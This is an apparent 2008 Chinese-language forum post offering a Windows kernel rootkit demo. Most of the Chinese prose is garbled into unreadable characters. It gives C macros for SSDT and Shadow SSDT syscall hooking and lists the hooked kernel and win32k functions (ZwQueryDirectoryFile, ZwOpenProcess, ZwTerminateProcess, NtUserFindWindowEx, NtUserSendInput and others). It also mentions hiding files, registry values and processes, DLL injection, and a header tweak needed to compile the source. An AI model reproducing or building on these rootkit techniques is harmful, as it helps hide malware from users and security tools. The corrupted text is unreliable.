ȽROOTKIT DEMO!ԭShadow HookSSDT Hookһף

 : ȽROOTKIT DEMO!ԭShadow HookSSDT Hookһף
 : embedlinux(E-mail:hqulyc@126.com  QQ:5054-3533)
ʱ : 2008-08-05
 : 

дROOTKITȽϼ(Щ˵Ĵд).......
ݣ(ϸ뿴Դ)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
          (LONG)pHookFunc)
       
//unhook system call   
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
          (LONG)pOrigFunc)
SSDT HOOKº
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess

Shadow Hook
SSDT HOOK涨꣬Shadow HookSSDT Hookһ!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
          (LONG)pHookFunc)
       
//unhook shadow system call   
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
          (LONG)pOrigFunc)
һӵѶĵ绰ԣһʱûоHOOKˣʵShadow Hookʱûشã
ڰShadow Hookһ£
Shadow HookºܱȽϺã׼¹ҹ
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput

Ϊ˱̣о̵ֹķ
WINDOWSں˶ʱ
ļ/Ŀ¼
עֵ

ϵͳ߳
IRPļ

ּں˼ROOTKIT
Ring3лָSSDT(ZwSystemDebugControl)
Դͷļ
Զ̽ע
ϢעDLL
Ҵ
ҽ

ע⣺ҪгУ˳ѧϰWINDOWSںã
Լntddk.hеĽṹIO_STACK_LOCATION´˳ͨ:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
   ULONG Length;
   PUNICODE_STRING FileName;
   FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
   FileInformationClass;
} QueryDirectory;